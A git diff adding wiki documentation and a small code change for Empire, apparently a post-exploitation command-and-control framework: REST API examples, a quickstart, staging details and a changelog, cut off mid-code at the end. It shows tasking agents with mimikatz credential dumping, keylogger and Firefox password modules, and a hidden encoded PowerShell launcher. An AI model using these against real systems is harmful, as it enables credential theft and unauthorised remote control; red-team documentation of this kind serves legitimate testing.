+ +You might have to play around with the formatted output for your module, e.g. **collection/filefinder** needs to append script += " | Out-String" to format the output correctly. + +While testing, if you modify the PowerShell script itself, you don’t need to reload anything to retest running on an agent. If you modify the Python wrapper for the module, you can do **reload** in the module menu to reload the module.py file itself. \ No newline at end of file diff --git a/wiki/Modules.md b/wiki/Modules.md new file mode 100644 index 000000000..d02ea9f29 --- /dev/null +++ b/wiki/Modules.md @@ -0,0 +1,178 @@ +* [Get Current Modules](#get-current-modules) +* [Get Module by Name](#get-module-by-name) +* [Search for Module](#search-for-module) +* [Execute a Module](#execute-a-module) + +## Get Current Modules + +### Handler + +* **Handler** : GET /api/modules +* Description : Returns all current Empire modules. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/modules?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "modules": [ + { + "Author": [ + "@xorrior" + ], + "Background": true, + "Comments": [ + "https://github.com/xorrior/RandomPS-Scripts/blob/master/Get-FoxDump.ps1", + "http://xakfor.net/threads/c-firefox-36-password-cookie-recovery.12192/" + ], + "Description": "This module will dump any saved passwords from Firefox to the console. This should work for any versionof Firefox above version 32. This will only be successful if the master password is blank or has not been set.", + "MinPSVersion": "2", + "Name": "collection/FoxDump", + "NeedsAdmin": false, + "OpsecSafe": true, + "OutputExtension": null, + "SaveOutput": false, + "options": { + "Agent": { + "Description": "Agent to run the module on.", + "Required": true, + "Value": "" + }, + "OutFile": { + "Description": "Path to Output File", + "Required": false, + "Value": "" + } + } + }, + ... + ] +} +``` + +## Get Module by Name + +### Handler + +* **Handler** : GET /api/modules/MODULE_NAME +* Description : Returns the module specified by MODULE_NAME. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/modules/collection/keylogger?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "modules": [ + { + "Author": [ + "@obscuresec", + "@mattifestation", + "@harmj0y" + ], + "Background": true, + "Comments": [ + "https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1" + ], + "Description": "Logs keys pressed, time and the active window (when changed).", + "MinPSVersion": "2", + "Name": "collection/keylogger", + "NeedsAdmin": false, + "OpsecSafe": true, + "OutputExtension": null, + "options": { + "Agent": { + "Description": "Agent to run module on.", + "Required": true, + "Value": "" + } + } + } + ] +} +``` + +## Search for Module + +### Handler + +* **Handler** : POST /api/modules/search +* Description : Searches all module fields for the given term. +* Parameters (none required) : + * term : the term to search for (required) + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/modules/search?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -d '{"term":"keylogger"}' +``` + +**Response**: +```json +{ + "modules": [ + { + "Author": [ + "@obscuresec", + "@mattifestation", + "@harmj0y" + ], + "Background": true, + "Comments": [ + "https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1" + ], + "Description": "Logs keys pressed, time and the active window (when changed).", + "MinPSVersion": "2", + "Name": "collection/keylogger", + "NeedsAdmin": false, + "OpsecSafe": true, + "OutputExtension": null, + "options": { + "Agent": { + "Description": "Agent to run module on.", + "Required": true, + "Value": "" + } + } + } + ] +} +``` + +## Execute a Module + +### Handler + +* **Handler** : POST /api/modules/MODULE_NAME +* Description : Tasks an +* Parameters (none required) : + * Agent : the agent to task the module for (or all). Required. + * *additional* : any additional module values enumerated from module options + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/modules/credentials/mimikatz/logonpasswords?token=$TOKEN -X POST -d '{"Agent":"WTN1LHHRYHFWHXU3"}' + +``` + +**Response**: +```json +{ + "msg": "tasked agent WTN1LHHRYHFWHXU3 to run module credentials/mimikatz/logonpasswords", + "success": true +} +``` \ No newline at end of file diff --git a/wiki/Persistence.md b/wiki/Persistence.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/Persistence.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/Privesc.md b/wiki/Privesc.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/Privesc.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/Quickstart.md b/wiki/Quickstart.md new file mode 100644 index 000000000..b6f71594b --- /dev/null +++ b/wiki/Quickstart.md @@ -0,0 +1,54 @@ +## Initial Setup + +Run the **./setup/install.sh** script. This will install the few dependencies and run the **./setup/setup_database.py** script. The setup_database.py file contains various setting that you can manually modify, and then initializes the ./data/empire.db backend database. No additional configuration should be needed- hopefully everything works out of the box. + +Running `./empire` will start Empire, and `./empire --debug` will generate a verbose debug log at .**/empire.debug**. Running `./empire --debug 2` will provide verbose output to empire console. The included **./setup/reset.sh** will reset/reinitialize the database and launch Empire in debug mode. There's also a detailed "Empire Tips and Tricks" [post up here](http://enigma0x3.net/2015/08/26/empire-tips-and-tricks/). + + +## Main Menu +Once you hit the main menu, you'll see the number of active agents, listeners, and loaded modules. + +[[https://github.com/EmpireProject/Empire/wiki/Images/empire_main_menu.png|align=center]] + +The **help** command should work for all menus, and almost everything that can be tab-completable is (menu commands, agent names, local file paths where relevant, etc.). + +You can ctrl+C to rage quit at any point. Starting Empire back up should preserve existing communicating agents, and any existing listeners will be restarted (as their config is stored in the sqlite backend database). + +## Listeners 101 +The first thing you need to do it set up a local listener. The **listeners** command will jump you to the listener management menu. Any active listeners will be displayed, and this information can be redisplayed at any time with the **list** command. The `uselistener` command will allow you to select the type of listener. Hitting TAB after this command will show all available listener types. The info command will display the currently set listener options. + +[[https://github.com/EmpireProject/Empire/wiki/Images/empire_listeners_menu.png|align=center]] + +The info command will display the currently configured listener options. Set your host/port by doing something like set Host http://192.168.52.142:8081. This is tab-completable, and you can also use domain names here). The port will automatically be pulled out, and the backend will detect if you're doing a HTTP or HTTPS listener. For HTTPS listeners, you must first set the CertPath to be a local .pem file. The provided **./setup/cert.sh** script will generate a self-signed cert and place it in **./data/empire.pem**. + +Set optional and WorkingHours, KillDate, DefaultDelay, and DefaultJitter for the listener, as well as whatever name you want it to be referred to as. You can then type **execute** to start the listener. If the name is already taken, a nameX variant will be used, and Empire will alert you if the port is already in use. + +## Stagers 101 +The staging process is described [[here|Staging]]. + +Empire implements various stagers in a modular format in **./lib/stagers/* **. These include dlls, macros, one-liners, and more. To use a stager, from the main, listeners, or agents menu, use usestager [tab] to tab-complete the set of available stagers, and you'll be taken to the individual stager's menu. The UI here functions similarly to the post module menu, i.e set/unset/info and generate to generate the particular output code. + +For UserAgent and proxy options, default uses the system defaults, none clears that option from being used in the stager, and anything else is assumed to be a custom setting (note, this last bit isn't properly implemented for proxy settings yet). From the Listeners menu, you can run the **launcher [listener ID/name]** alias to generate the stage0 launcher for a particular listener (this is the stagers/launcher module in the background). This command can be run from a command prompt on any machine to kick off the staging process. + +## Agents 101 +You should see a status message when an agent checks in (i.e. [+] Initial agent CGUBKC1R3YLHZM4V from 192.168.52.168 now active). Jump to the Agents menu with **agents**. Basic information on active agents should be displayed. Various commands can be executed on specific agent IDs or **all** from the agent menu, i.e. **kill all**. To interact with an agent, use **interact AGENT_NAME**. Agent names should be tab-completable for all commands. + +[[https://github.com/EmpireProject/Empire/wiki/Images/empire_agent_checkin.png|align=center]] + +In an Agent menu, **info** will display more detailed agent information, and help will display all agent commands. If a typed command isn't resolved, Empire will try to interpret it as a shell command (like ps). You can **cd** directories, **upload/download** files, and **rename NEW_NAME**. + +For each registered agent, a **./downloads/AGENT_NAME/** folder is created (this folder is renamed with an agent rename). An ./agent.log is created here with timestamped commands/results for agent communication. Downloads/module outputs are broken out into relevant folders here as well. + +When you're finished with an agent, use **exit** from the Agent menu or **kill NAME/all** from the Agents menu. You'll get a red notification when the agent exits, and the agent will be removed from the interactive list after. + +## Modules 101 +To see available modules, type **usemodule [tab]**. To search module names/descriptions, use **searchmodule privesc** and matching module names/descriptions will be output. + +To use a module, for example share finder from PowerView, type **usemodule situational_awareness/network/sharefinder** and press enter. info will display all current module options. + +[[https://github.com/EmpireProject/Empire/wiki/Images/empire_module_menu.png|align=center]] + +To set an option, like the domain for sharefinder, use **set Domain testlab.local**. The Agent argument is always required, and should be auto-filled from jumping to a module from an agent menu. You can also **set Agent [tab]** to tab-complete an agent name. **execute** will task the agent to execute the module, and **back** will return you to the agent's main menu. Results will be displayed as they come back. + +## Scripts +In addition to formalized modules, you are able to simply import and use a .ps1 script in your remote empire agent. Use the **scriptimport ./path/** command to import the script. The script will be imported and any functions accessible to the script will now be tab completable using the "scriptcmd" command in the agent. This works well for very large scripts with lots of functions that you do not want to break into a module. \ No newline at end of file diff --git a/wiki/RESTful-API.md b/wiki/RESTful-API.md new file mode 100644 index 000000000..a71e3fb19 --- /dev/null +++ b/wiki/RESTful-API.md @@ -0,0 +1,177 @@ +Empire 3.1 RESTful API introduced a new set of commands for scripting and controlling Empire through HTTP JSON requests. + +This API and documentation are based on the excellent example set by the [BeEF Project](https://github.com/beefproject/beef/wiki/BeEF-RESTful-API). All credit to [@antisnatchor](https://github.com/antisnatchor) and the entire BeEF community for the great examples to draw on. + +* [Introduction](#introduction) +* [API Authentication](#api-authentication) +* [Version Information](#version-information) +* [Configuration Information](#configuration-information) +* [[Admin Functionality|Admin-Functionality]] +* [[User Management|User-Management]] +* [[Listeners|Listeners]] +* [[Stagers|Stagers]] +* [[Agents|Agents]] +* [[Modules|Modules]] +* [[Credentials|Credentials]] +* [[Reporting|Reporting]] + + +## Introduction + +There are currently two ways to launch the Empire RESTful API. + +You can start a normal Empire instance with `./empire`, and then in another windows run `./empire --rest`. This starts the API without a fully-featured Empire instance, allowing you to still interact with the normal Empire UI. + +Alternatively, you can run Empire 'headless' with `./empire --headless`, which will start a complete Empire instance as well as the RESTful API, and will suppress all output except for startup messages. + +By default, the RESTful API is started on port 1337, over HTTPS using the certificate located at ./data/empire.pem (which can be generated with ./setup/cert.sh). This port can be changed by supplying `--restport ` on launch. + +The default username for the API is 'empireadmin' and the default password is randomly generated by ./setup/setup_database.py during install. This value is retrievable by using `sqlitebrowser ./data/empire.db`, or can be modified in the setup_database.py file. You can also manually specify the username and password for a REST/headless launch with `--username admin --password 'Password123!'`. + +You can review all cli options by running: +```bash +# ./empire -h +usage: empire [-h] [--debug [DEBUG]] [-s [STAGER]] + [-o [STAGER_OPTIONS [STAGER_OPTIONS ...]]] [-l [LISTENER]] [-v] + [--rest] [--restport [RESTPORT]] [--headless] + [--username [USERNAME]] [--password [PASSWORD]] + +optional arguments: + -h, --help show this help message and exit + --debug [DEBUG] Debug level for output (default of 1). + -s [STAGER], --stager [STAGER] + Specify a stager to generate. Lists all stagers if + none is specified. + -o [STAGER_OPTIONS [STAGER_OPTIONS ...]], --stager-options [STAGER_OPTIONS [STAGER_OPTIONS ...]] + Supply options to set for a stager in OPTION=VALUE + format. Lists options if nothing is specified. + -l [LISTENER], --listener [LISTENER] + Display listener options. Displays all listeners if + nothing is specified. + -v, --version Display current Empire version. + --rest Run the Empire RESTful API. + --restport [RESTPORT] + Port to run the Empire RESTful API on. + --headless Run Empire and the RESTful API headless without the + usual interface. + --username [USERNAME] + Start the RESTful API with the specified username + instead of pulling from empire.db + --password [PASSWORD] + Start the RESTful API with the specified password + instead of pulling from empire.db +``` + +## API Authentication + +The Empire API uses a simple token-based auth system similar to [BeEF's](https://github.com/beefproject/beef/wiki/BeEF-RESTful-API#authentication). In order to make any requests to the API, a **?token=X** parameter must be supplied, otherwise a 403 error is returned. + +The token is randomly generated on rest API start up and displayed on the command line: +```bash +# ./empire --rest --password 'Password123!' + +[*] Loading modules from: /mnt/hgfs/git/github/Empire/lib/modules/ + * Starting Empire RESTful API on port: 1337 + * RESTful API token: ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 + * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit) +``` + +To retrieve the session token through the login interface, you can POST a request to `/api/admin/login`. Here's an example with curl: +```bash +# curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}' +HTTP/1.0 200 OK +Content-Type: application/json +Content-Length: 57 +Server: Werkzeug/0.11.4 +Date: Thu, 31 Mar 2016 23:38:59 GMT + +{ + "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5" +} +``` + + +## Version Information + +### Handler + +* **Handler** : GET /api/version +* Description : Returns the current Empire version. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/version?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "version": "1.5.0" +} +``` +## Map Information + +### Handler + +* **Handler** : GET /api/map +* Description : Returns list of all API routes. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/map?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: + + +## Configuration Information + +### Handler + +* **Handler** : GET /api/config +* Description : Returns the current Empire configuration. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/config?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "config": [ + { + "api_password": "C3>Jl...", + "api_username": "empireadmin", + "autorun_command": "", + "autorun_data": "", + "current_api_token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5", + "default_cert_path": "", + "default_delay": 5, + "default_jitter": 0.0, + "default_lost_limit": 60, + "default_port": "8080", + "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", + "install_path": "/home/user/Empire/", + "ip_blacklist": "", + "ip_whitelist": "", + "permanent_api_token": "gi5afo3umac6...", + "server_version": "Microsoft-IIS/7.5", + "stage0_uri": "index.asp", + "stage1_uri": "index.jsp", + "stage2_uri": "index.php", + "staging_key": "m@T%L?VH...", + "version": "1.5.0" + } + ] +} +``` \ No newline at end of file diff --git a/wiki/Recon.md b/wiki/Recon.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/Recon.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/Reporting.md b/wiki/Reporting.md new file mode 100644 index 000000000..f370b58ed --- /dev/null +++ b/wiki/Reporting.md @@ -0,0 +1,135 @@ +* [Get All Logged Events](#get-all-logged-events) +* [Get Agent Logged Events](#get-agent-logged-events) +* [Get Logged Events of Specific Type](#get-logged-events-of-specific-type) +* [Get Logged Events w/ Specific Msg](#get-logged-events-w-specific-msg) + +## Get All Logged Events + +### Handler + +* **Handler** : GET /api/reporting +* Description : Returns all logged events. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/reporting?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "reporting": [ + { + "ID": 1, + "agentname": "3GHZPWEGADMT2KPA", + "event_type": "checkin", + "message": "2016-03-31 17:36:34", + "timestamp": "2016-03-31 17:36:34" + }, + ... + ] +} +``` + +## Get Agent Logged Events + +### Handler + +* **Handler** : GET /api/reporting/agent/AGENT_NAME +* Description : Returns the events for a specified AGENT_NAME +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/reporting/agent/initial?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "reporting": [ + { + "ID": 28, + "agentname": "SMLHRBLTP4Z14SHC", + "event_type": "checkin", + "message": "2016-03-31 21:01:34", + "timestamp": "2016-03-31 21:01:34" + }, + ... + ] +} +``` + +## Get Logged Events of Specific Type + +### Handler + +* **Handler** : GET /api/reporting/type/MSG_TYPE +* Description : Returns the events of a specified MSG_TYPE (checkin, task, result). +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/reporting/type/checkin?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "reporting": [ + { + "ID": 1, + "agentname": "3GHZPWEGADMT2KPA", + "event_type": "checkin", + "message": "2016-03-31 17:36:34", + "timestamp": "2016-03-31 17:36:34" + }, + { + "ID": 4, + "agentname": "PK4HAFLH4231E14X", + "event_type": "checkin", + "message": "2016-03-31 17:36:50", + "timestamp": "2016-03-31 17:36:50" + }, + ... + ] +} +``` + +## Get Logged Events w/ Specific Msg + +### Handler + +* **Handler** : GET /api/reporting/msg/MSG +* Description : Returns the events matching a specific MSG. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/reporting/msg/mimikatz?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "reporting": [ + { + "ID": 5, + "agentname": "PK4HAFLH4231E14X", + "event_type": "task", + "message": "TASK_CMD_JOB - function Invoke-Mimikatz\n{\n[CmdletBinding(DefaultP", + "timestamp": "2016-03-31 17:36:54" + }, + ... + ] +} +``` \ No newline at end of file diff --git a/wiki/Situational-Awareness.md b/wiki/Situational-Awareness.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/Situational-Awareness.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/Stagers.md b/wiki/Stagers.md new file mode 100644 index 000000000..c8be8c4ab --- /dev/null +++ b/wiki/Stagers.md @@ -0,0 +1,201 @@ +* [Get Current Stagers](#get-current-stagers) +* [Get Stager by Name](#get-stager-by-name) +* [Generate Stager](#generate-stager) + +## Get Current Stagers + +### Handler + +* **Handler** : GET /api/stagers +* Description : Returns all current Empire stagers and options. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/stagers?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "stagers": [ + { + "Author": [ + "@harmj0y" + ], + "Comments": [ + "" + ], + "Description": "Generates a ducky script that runes a one-liner stage0 launcher for Empire.", + "Name": "ducky", + "options": { + "Listener": { + "Description": "Listener to generate stager for.", + "Required": true, + "Value": "" + }, + "OutFile": { + "Description": "File to output duckyscript to.", + "Required": true, + "Value": "" + }, + "Proxy": { + "Description": "Proxy to use for request (default, none, or other).", + "Required": false, + "Value": "default" + }, + "ProxyCreds": { + "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).", + "Required": false, + "Value": "default" + }, + "StagerRetries": { + "Description": "Times for the stager to retry connecting.", + "Required": false, + "Value": "0" + }, + "UserAgent": { + "Description": "User-agent string to use for the staging request (default, none, or other).", + "Required": false, + "Value": "default" + } + } + }, + ... + ] +} +``` + +## Get Stager by Name + +### Handler + +* **Handler** : GET /api/stagers/STAGER_NAME +* Description : Returns the Empire stager specified by STAGER_NAME. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i https://localhost:1337/api/stagers/dll?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 +``` + +**Response**: +```json +{ + "stagers": [ + { + "Author": [ + "@sixdub" + ], + "Comments": [ + "" + ], + "Description": "Generate a PowerPick Reflective DLL to inject with stager code.", + "Name": "dll", + "options": { + "Arch": { + "Description": "Architecture of the .dll to generate (x64 or x86).", + "Required": true, + "Value": "x64" + }, + "Listener": { + "Description": "Listener to use.", + "Required": true, + "Value": "" + }, + "OutFile": { + "Description": "File to output dll to.", + "Required": true, + "Value": "/tmp/launcher.dll" + }, + "Proxy": { + "Description": "Proxy to use for request (default, none, or other).", + "Required": false, + "Value": "default" + }, + "ProxyCreds": { + "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).", + "Required": false, + "Value": "default" + }, + "StagerRetries": { + "Description": "Times for the stager to retry connecting.", + "Required": false, + "Value": "0" + }, + "UserAgent": { + "Description": "User-agent string to use for the staging request (default, none, or other).", + "Required": false, + "Value": "default" + } + } + } + ] +} +``` + +## Generate Stager + +### Handler + +* **Handler** : POST /api/stagers +* Description : Returns the Empire stager specified by parameters. +* Parameters : + * StagerName : the stager name to generate (required) + * Listener : the listener name to generate the stager for (required) + * *additional* : any additional stager values enumerated from stager options + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/stagers?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"StagerName":"launcher", "Listener":"testing"}' +``` + +**Response**: +```json +{ + "launcher": { + "Base64": { + "Description": "Switch. Base64 encode the output.", + "Required": true, + "Value": "True" + }, + "Listener": { + "Description": "Listener to generate stager for.", + "Required": true, + "Value": "testing" + }, + "OutFile": { + "Description": "File to output launcher to, otherwise displayed on the screen.", + "Required": false, + "Value": "" + }, + "Output": "powershell.exe -NoP -sta -NonI -W Hidden -Enc JAB...KQA=", + "Proxy": { + "Description": "Proxy to use for request (default, none, or other).", + "Required": false, + "Value": "default" + }, + "ProxyCreds": { + "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).", + "Required": false, + "Value": "default" + }, + "StagerRetries": { + "Description": "Times for the stager to retry connecting.", + "Required": false, + "Value": "0" + }, + "UserAgent": { + "Description": "User-agent string to use for the staging request (default, none, or other).", + "Required": false, + "Value": "default" + } + } +} +``` diff --git a/wiki/Staging.md b/wiki/Staging.md new file mode 100644 index 000000000..02b4ea235 --- /dev/null +++ b/wiki/Staging.md @@ -0,0 +1,9 @@ +The key-exchange protocol used by Empire is called [Encrypted Key Exchange](https://en.wikipedia.org/wiki/Encrypted_key_exchange) (EKE). There’s a better overview [here](http://stackoverflow.com/questions/15779392/encrypted-key-exchange-understanding). + +For Empire, a small launcher (a basic proxy-aware IEX download cradle) is used to download/execute the patched **./data/stager.ps1** script. The URI resource for this request can be specified in **./setup_database.py** under the **STAGE0_URI** paramater. The **stager.ps1** is case-randomized then XOR encrypted with the AES staging key from the database config. This means the key-negotiation stager delivered to each agent will be randomized/different per server, but will be static for each server instance. The staging key is sent with the launcher in order to decrypt the stager, so is assumed to be "burned" by network defenders. + +This stager generates a randomized RSA private/public key pair in memory, uses the AES staging key to post the encrypted RSA public key to the **STAGE1_URI** resource (also specifiable in **./setup_database.py**). A random 12-character SESSIONID is also generated at this point, which is the initial name the agent uses to check in. After this post, the server returns the server’s epoch time and a randomized AES session key, encrypted in the agent’s public key. + +The agent decrypts the values, gathers basic system information, and posts this information to the server encrypted with the new AES session key to **STAGE2_URI**. The server then returns the patched **./data/agent.ps1**, which can be thought of as the standard API. From here, the agent starts its beaconing behavior. + +[[https://github.com/EmpireProject/Empire/wiki/Images/empire_staging_process.png|align=center]] \ No newline at end of file diff --git a/wiki/TrollSploit.md b/wiki/TrollSploit.md new file mode 100644 index 000000000..524612fca --- /dev/null +++ b/wiki/TrollSploit.md @@ -0,0 +1 @@ +_TODO_ \ No newline at end of file diff --git a/wiki/User-Management.md b/wiki/User-Management.md new file mode 100644 index 000000000..aa3cc365b --- /dev/null +++ b/wiki/User-Management.md @@ -0,0 +1,110 @@ +* [Display All Users](#Display-All-Users) +* [Current User](#Current-Users) +* [Create New User](#Create-New-Users) +* [Disable User](#Disable-User) + +## Display All Users + +### Handler + +* **Handler** : GET /api/users +* Description : Returns all users from database +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/users?token=oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle +``` + +**Response**: +```json +{ + "users": [ + { + "ID": 1, + "admin": true, + "enabled": true, + "last_logon_time": "2020-03-21 18:57:36", + "username": "empireadmin" + } + ] +} +``` + +## Current User + +### Handler + +* **Handler** : POST /api/users/me +* Description : Returns the current user +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/users/me?token=oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle -X POST +``` + +**Response**: +```json +{ + "admin": true, + "api_token": "oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle", + "enabled": true, + "id": 1, + "last_logon_time": "2020-03-21 18:57:36", + "username": "empireadmin" +} +``` + +## Create New User + +### Handler + +* **Handler** : POST /api/users +* Description : Creates a new users. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/users?token=oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle -X POST -d '{"username":"user", "password":"pass"}' +``` + +**Response**: +```json +{ + "admin": true, + "api_token": "oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle", + "enabled": true, + "id": 1, + "last_logon_time": "2020-03-21 18:57:36", + "username": "empireadmin" +} +``` + +## Disable User + +### Handler + +* **Handler** : PUT /api/users/UID/disable +* Description : Disables a users account from their UID. +* No parameters + +### Example + +**Request**: +```bash +curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/users/1/disable?token=oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle -X PUT +``` + +**Response**: +```json +{ + "success": true, +} +``` \ No newline at end of file diff --git a/wiki/_Footer.md b/wiki/_Footer.md new file mode 100644 index 000000000..f6d0f7258 --- /dev/null +++ b/wiki/_Footer.md @@ -0,0 +1 @@ +[PowerShellEmpire](http:/www.powershellempire.com/) | [Code](https://github.com/BC-SECURITY/Empire) \ No newline at end of file diff --git a/wiki/_Sidebar.md b/wiki/_Sidebar.md new file mode 100644 index 000000000..2e4fc806f --- /dev/null +++ b/wiki/_Sidebar.md @@ -0,0 +1,34 @@ +## I - Overview +1. [[Quick Start|Quickstart]] +1. [[Architecture|Architecture]] +1. [[Staging|Staging]] +1. [[Installation|Installation]] +1. [[Configuration|Configuration]] + +## II - Modules +1. [[Code Execution|Code-Execution]] +1. [[Collection|Collection]] +1. [[Credentials|Getting-Credentials]] +1. [[Exfiltration|Exfiltration]] +1. [[Exploitation|Exploitation]] +1. [[Lateral Movement|Lateral-Movement]] +1. [[Management|Management]] +1. [[Persistence|Persistence]] +1. [[Privesc|Privesc]] +1. [[Recon|Recon]] +1. [[Situational Awareness|Situational-Awareness]] +1. [[TrollSploit|TrollSploit]] + +## III - RESTful API +1. [[RestFul API|RESTful-API]] +1. [[Admin Functionality|Admin-Functionality]] +1. [[Listeners|Listeners]] +1. [[Stagers|Stagers]] +1. [[Agents|Agents]] +1. [[Modules|Modules]] +1. [[Credentials|Credentials]] +1. [[Reporting|Reporting]] +1. [[User Management|User-Management]] + +## IV - Advanced +1. [[Module Development|Module-Development]] \ No newline at end of file From d5ba70ddfb58fac3a597fdad4af8eee2ba68ed8f Mon Sep 17 00:00:00 2001 From: Anthony Rose Date: Sun, 15 Nov 2020 20:44:34 -0800 Subject: [PATCH 4/4] Empire 3.6.1 changelog updates (#399) * Readme updates * Updated changelog for 3.6.1 * added update_comms api endpoint * added update_killdate api endpoint * added update_workinghours api endpoint * switched endpoints from POST to PUT * updated changelog with added api endpoints * fixing changelog formatting * accidentally delted example.py Co-authored-by: hubbl3 --- README.md | 6 +++ VERSION | 2 +- changelog | 8 ++++ empire | 98 +++++++++++++++++++++++++++++++++++++++++++- lib/common/empire.py | 2 +- plugins/example.py | 2 +- 6 files changed, 113 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 81cc6b984..33e621cda 100644 --- a/README.md +++ b/README.md @@ -96,6 +96,12 @@ Plugins are an extension of Empire that allow for custom scripts to be loaded. T community projects to extend Empire functionality. Plugins can be accessed from the Empire CLI or the API as long as the plugin follows the [template example](./plugins/example.py). A list of Empire Plugins is located [here](plugins/PLUGINS.md). +## Official Discord Channel +

+ + +

+ ## Contribution Rules Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions. diff --git a/VERSION b/VERSION index 40c341bdc..9575d51ba 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -3.6.0 +3.6.1 diff --git a/changelog b/changelog index 9cf17f17e..bc576c13a 100644 --- a/changelog +++ b/changelog @@ -1,3 +1,11 @@ +11/16/2020 +------------ +- Version 3.6.1 Master Release + - Added editable wiki and sync option to repo - #398 (@Cx01N) + - Fixed byte error in python/collection/osx/prompt - #396 (@Cx01N) + - Fixed clear option issue for malleable listener - #393 (@Cx01N) + - Added update_comms, killdate, and workinghours endpoints (@Cx01N) + 11/9/2020 ------------ - Version 3.6.0 Master Release diff --git a/empire b/empire index 42f00e466..6974cfbc2 100755 --- a/empire +++ b/empire @@ -1081,12 +1081,106 @@ def start_restful_api(empireMenu: MainMenu, suppress=False, username=None, passw taskID = main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command, uid=g.user['id']) return jsonify({'success': True, 'taskID': taskID}) + @app.route('/api/agents//update_comms', methods=['PUT']) + def agent_update_comms(agent_name): + """ + Dynamically update the agent comms to another + + Takes {'listener': 'name'} + """ + + if not request.json: + return make_response(jsonify({'error':'request body must be valid JSON'}), 400) + + if not 'listener' in request.json: + return make_response(jsonify({'error':'JSON body must include key "listener"'}), 400) + + listener_name = request.json['listener'] + + if not main.listeners.is_listener_valid(listener_name): + return jsonify({'error': 'Please enter a valid listener name.'}) + else: + active_listener = main.listeners.activeListeners[listener_name] + if active_listener['moduleName'] != 'meterpreter' or active_listener['moduleName'] != 'http_mapi': + listener_options = active_listener['options'] + listener_comms = main.listeners.loadedListeners[active_listener['moduleName']].generate_comms(listener_options, language="powershell") + + main.agents.add_agent_task_db(agent_name, "TASK_UPDATE_LISTENERNAME", listener_options['Name']['Value']) + main.agents.add_agent_task_db(agent_name, "TASK_SWITCH_LISTENER", listener_comms) + + msg = "Tasked agent to update comms to %s listener" % listener_name + main.agents.save_agent_log(agent_name, msg) + return jsonify({'success': True}) + else: + return jsonify({'error': 